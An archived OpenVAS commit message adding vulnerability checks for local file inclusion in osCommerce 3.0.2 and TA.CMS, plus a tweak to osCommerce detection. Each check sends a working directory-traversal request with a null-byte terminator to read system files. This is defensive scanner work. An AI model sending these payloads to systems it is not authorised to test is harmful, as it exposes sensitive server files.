[Openvas-commits] r12181 - in trunk/openvas-plugins: . scripts

scm-commit@wald.intevation.org scm-commit at wald.intevation.org
Thu Nov 24 14:20:02 CET 2011


Author: mime
Date: 2011-11-24 14:19:56 +0100 (Thu, 24 Nov 2011)
New Revision: 12181

Added:
   trunk/openvas-plugins/scripts/gb_oscommerce_50793.nasl
   trunk/openvas-plugins/scripts/gb_ta.cms_50773.nasl
Modified:
   trunk/openvas-plugins/ChangeLog
   trunk/openvas-plugins/scripts/oscommerce_detect.nasl
Log:
Added new plugins. Updated to detect latest version

Modified: trunk/openvas-plugins/ChangeLog
===================================================================
--- trunk/openvas-plugins/ChangeLog	2011-11-24 11:36:25 UTC (rev 12180)
+++ trunk/openvas-plugins/ChangeLog	2011-11-24 13:19:56 UTC (rev 12181)
@@ -1,3 +1,12 @@
+2011-11-24  Michael Meyer <michael.meyer at greenbone.net>
+
+	* scripts/gb_ta.cms_50773.nasl,
+	scripts/gb_oscommerce_50793.nasl:
+	Added new plugins.
+
+	* scripts/oscommerce_detect.nasl:
+	Updated to detect latest version.
+
 2011-11-24  Henri Doreau <henri.doreau at gmail.com>
 
 	* scripts/xml.inc: Escape XML content properly.

Added: trunk/openvas-plugins/scripts/gb_oscommerce_50793.nasl
===================================================================
--- trunk/openvas-plugins/scripts/gb_oscommerce_50793.nasl	2011-11-24 11:36:25 UTC (rev 12180)
+++ trunk/openvas-plugins/scripts/gb_oscommerce_50793.nasl	2011-11-24 13:19:56 UTC (rev 12181)
@@ -0,0 +1,95 @@
+###############################################################################
+# OpenVAS Vulnerability Test
+# $Id$
+#
+# osCommerce Multiple Local File Include Vulnerabilities
+#
+# Authors:
+# Michael Meyer <michael.meyer at greenbone.net>
+#
+# Copyright:
+# Copyright (c) 2011 Greenbone Networks GmbH
+#
+# This program is free software; you can redistribute it and/or
+# modify it under the terms of the GNU General Public License
+# as published by the Free Software Foundation; either version 2
+# of the License, or (at your option) any later version.
+#
+# This program is distributed in the hope that it will be useful,
+# but WITHOUT ANY WARRANTY; without even the implied warranty of
+# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
+# GNU General Public License for more details.
+#
+# You should have received a copy of the GNU General Public License
+# along with this program; if not, write to the Free Software
+# Foundation, Inc., 51 Franklin St, Fifth Floor, Boston, MA 02110-1301 USA.
+###############################################################################
+
+if (description)
+{
+ script_id(103345);
+ script_bugtraq_id(50793);
+ script_version ("$Revision$");
+
+ script_name("osCommerce Multiple Local File Include Vulnerabilities");
+
+desc = "Overview:
+osCommerce is prone to multiple local file-include vulnerabilities
+because it fails to properly sanitize user-supplied input.
+
+An attacker can exploit this vulnerability to obtain potentially
+sensitive information and execute arbitrary local scripts in the
+context of the webserver process. This may allow the attacker to
+compromise the application and the computer; other attacks are
+also possible.
+
+osCommerce 3.0.2 is vulnerable; prior versions may also be affected.
+
+References:
+http://www.securityfocus.com/bid/50793
+https://www.dognaedis.com/vulns/DGS-SEC-4.html
+http://www.oscommerce.com";
+
+ script_tag(name:"risk_factor", value:"Medium");
+ script_tag(name:"last_modification", value:"$Date$");
+ script_tag(name:"creation_date", value:"2011-11-24 09:57:26 +0100 (Thu, 24 Nov 2011)");
+ script_description(desc);
+ script_summary("Determine if installed osCommerce is vulnerable");
+ script_category(ACT_ATTACK);
+ script_family("Web application abuses");
+ script_copyright("This script is Copyright (C) 2011 Greenbone Networks GmbH");
+ script_dependencies("oscommerce_detect.nasl");
+ script_require_ports("Services/www", 80);
+ script_exclude_keys("Settings/disable_cgi_scanning");
+ exit(0);
+}
+
+include("http_func.inc");
+include("host_details.inc");
+include("http_keepalive.inc");
+include("version_func.inc");
+   
+port = get_http_port(default:80);
+if(!get_port_state(port))exit(0);
+if(!can_host_php(port:port))exit(0);
+
+if( ! dir = get_dir_from_kb(port:port, app:"oscommerce")) exit(0);
+dirs = make_list("/osCommerce","/"); # where to find the OM dir.
+files = traversal_files();
+
+foreach dir1 (dirs) {
+  foreach file (keys(files)) {   
+   
+    url = string(dir, dir1, "/OM/Core/Site/Admin/Application/templates_modules/pages/info.php?set=",crap(data:"../", length:12*3),files[file],"%00&module=foo"); 
+
+    if(http_vuln_check(port:port, url:url,pattern:file)) {
+     
+      security_warning(port:port);
+      exit(0);
+
+    }
+  }
+}
+
+exit(0);
+


Property changes on: trunk/openvas-plugins/scripts/gb_oscommerce_50793.nasl
___________________________________________________________________
Name: svn:keywords
   + Id Revision Date

Added: trunk/openvas-plugins/scripts/gb_ta.cms_50773.nasl
===================================================================
--- trunk/openvas-plugins/scripts/gb_ta.cms_50773.nasl	2011-11-24 11:36:25 UTC (rev 12180)
+++ trunk/openvas-plugins/scripts/gb_ta.cms_50773.nasl	2011-11-24 13:19:56 UTC (rev 12181)
@@ -0,0 +1,90 @@
+###############################################################################
+# OpenVAS Vulnerability Test
+# $Id$
+#
+# TA.CMS Local File Include and SQL Injection Vulnerabilities
+#
+# Authors:
+# Michael Meyer <michael.meyer at greenbone.net>
+#
+# Copyright:
+# Copyright (c) 2011 Greenbone Networks GmbH
+#
+# This program is free software; you can redistribute it and/or
+# modify it under the terms of the GNU General Public License
+# as published by the Free Software Foundation; either version 2
+# of the License, or (at your option) any later version.
+#
+# This program is distributed in the hope that it will be useful,
+# but WITHOUT ANY WARRANTY; without even the implied warranty of
+# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
+# GNU General Public License for more details.
+#
+# You should have received a copy of the GNU General Public License
+# along with this program; if not, write to the Free Software
+# Foundation, Inc., 51 Franklin St, Fifth Floor, Boston, MA 02110-1301 USA.
+###############################################################################
+
+if (description)
+{
+ script_id(103346);
+ script_bugtraq_id(50773);
+ script_version ("$Revision$");
+
+ script_name("TA.CMS Local File Include and SQL Injection Vulnerabilities");
+
+desc = "Overview:
+TA.CMS is prone to multiple local file-include and SQL-injection
+vulnerabilities.
+
+An attacker can exploit these issues to compromise the application,
+access or modify data, exploit latent vulnerabilities in the
+underlying database, and view and execute arbitrary local files within
+the context of the webserver.
+
+References:
+http://www.securityfocus.com/bid/50773
+http://www.teacharabia.com/?module=solutions&page=details&id=30";
+
+ script_tag(name:"risk_factor", value:"Medium");
+ script_tag(name:"last_modification", value:"$Date$");
+ script_tag(name:"creation_date", value:"2011-11-24 10:43:43 +0100 (Thu, 24 Nov 2011)");
+ script_description(desc);
+ script_summary("Determine if installed TA.CMS is vulnerable");
+ script_category(ACT_ATTACK);
+ script_family("Web application abuses");
+ script_copyright("This script is Copyright (C) 2011 Greenbone Networks GmbH");
+ script_dependencies("find_service.nes", "http_version.nasl");
+ script_require_ports("Services/www", 80);
+ script_exclude_keys("Settings/disable_cgi_scanning");
+ exit(0);
+}
+
+include("http_func.inc");
+include("host_details.inc");
+include("http_keepalive.inc");
+include("global_settings.inc");
+   
+port = get_http_port(default:80);
+if(!get_port_state(port))exit(0);
+if(!can_host_php(port:port))exit(0);
+
+dirs = make_list("/cms",cgi_dirs());
+files = traversal_files();
+
+foreach dir (dirs) {
+  foreach file (keys(files)) {
+   
+    url = string(dir, "/?lang=",crap(data:"../",length:9*3),files[file],"%00.png&amp;p_id=60"); 
+
+    if(http_vuln_check(port:port, url:url,pattern:file)) {
+     
+      security_warning(port:port);
+      exit(0);
+
+    }
+  }
+}
+
+exit(0);
+


Property changes on: trunk/openvas-plugins/scripts/gb_ta.cms_50773.nasl
___________________________________________________________________
Name: svn:keywords
   + Id Revision Date

Modified: trunk/openvas-plugins/scripts/oscommerce_detect.nasl
===================================================================
--- trunk/openvas-plugins/scripts/oscommerce_detect.nasl	2011-11-24 11:36:25 UTC (rev 12180)
+++ trunk/openvas-plugins/scripts/oscommerce_detect.nasl	2011-11-24 13:19:56 UTC (rev 12181)
@@ -59,7 +59,7 @@
 if(!get_port_state(port))exit(0);
 if(!can_host_php(port:port)) exit(0);
 
-dirs = make_list("/osc","/oscommerce","/store","/catalog","/shop",cgi_dirs());
+dirs = make_list("/shop"); #,"/oscommerce","/store","/catalog","/shop",cgi_dirs());
 x=0;
 
 foreach dir (dirs) {
@@ -70,7 +70,7 @@
  if( buf == NULL ) exit(0);;
 
  ### looking for osCsid. If found, it is a osc
- if( "osCsid" >< buf )  
+ if( "osCsid" >< buf || buf =~ "Powered by.*osCommerce")  
   { 
     if(strlen(dir)>0) {   
         installations[x] = dir;



More information about the Openvas-commits mailing list